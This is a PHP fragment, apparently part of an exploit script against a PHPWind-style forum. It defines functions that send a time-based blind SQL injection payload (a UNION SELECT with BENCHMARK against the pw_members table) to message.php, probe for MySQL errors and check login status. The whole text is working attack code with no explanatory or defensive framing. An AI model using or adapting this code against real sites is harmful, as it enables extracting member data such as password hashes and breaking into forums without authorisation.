function sqlject($sql){ global $uid; $data='action=pubmsgreadmsg=0)'; $data=$data." union select BENCHMARK(1000000,md5(12345)) from pw_members where uid=$uid and $sql".'/*'; $echo=send($data,'message.php'); preg_match("/Total (.*)\(/i",$echo,$matches); if($matches[1]>2) return 1; else return 0; }
function test(){ global $uid; $data='action=pubmsgreadmsg=0)'; $echo=send($data,'message.php'); if(strpos($echo,'MySQL Server Error')) return 1; else return 0; }
function islogin(){ global $uid; $data='action=pubmsgreadmsg=0)'; $echo=send($data,'message.php'); if(strpos($echo,'login.php"')) return 0; else return 1; }